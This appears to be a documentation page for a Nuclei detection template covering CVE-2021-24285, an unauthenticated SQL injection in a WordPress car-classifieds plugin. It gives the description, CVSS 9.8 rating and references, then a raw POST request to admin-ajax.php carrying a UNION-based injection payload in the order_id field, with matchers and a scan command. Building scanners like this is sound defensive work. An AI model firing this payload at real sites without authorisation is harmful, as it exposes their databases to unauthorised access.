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WordPress Car Seller - Auto Classifieds Script - SQL Injection

ID: CVE-2021-24285

Severity: critical

Author: ShreyaPohekar

Tags: cve2021,cve,wordpress,wp-plugin,sqli,wpscan,cars-seller-auto-classifieds-script_project

Description

Section titled “Description”

The request_list_request AJAX call of the Car Seller - Auto Classifieds Script WordPress plugin through 2.1.0, available to both authenticated and unauthenticated users, does not sanitize, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL injection issue.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24285


info:
  name: WordPress Car Seller - Auto Classifieds Script - SQL Injection
  author: ShreyaPohekar
  severity: critical
  description: The request_list_request AJAX call of the Car Seller - Auto Classifieds Script WordPress plugin through 2.1.0, available to both authenticated and unauthenticated users, does not sanitize, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL injection issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the WordPress Car Seller - Auto Classifieds Script.
  reference:
    - https://codevigilant.com/disclosure/2021/wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
    - https://wpscan.com/vulnerability/f35d6ab7-dd52-48b3-a79c-3f89edf24162
    - https://codevigilant.com/disclosure/2021/24-04-2021-wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24285
    cwe-id: CWE-89
    epss-score: 0.11694
    epss-percentile: 0.95278
    cpe: cpe:2.3:a:cars-seller-auto-classifieds-script_project:cars-seller-auto-classifieds-script:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cars-seller-auto-classifieds-script_project
    product: cars-seller-auto-classifieds-script
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,sqli,wpscan,cars-seller-auto-classifieds-script_project


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        action=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"


      - type: status
        status:
          - 200
# digest: 4b0a004830460221008f9c7d096f3b82df5b806f02e939bc8a81be5dba67fc25ecb3c4c9d4acb6e7c2022100eb3ed75985c903b51a76a7c7bd12ab3879d3f01c11fbd43e250cac6399b10f68:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24285.yaml"

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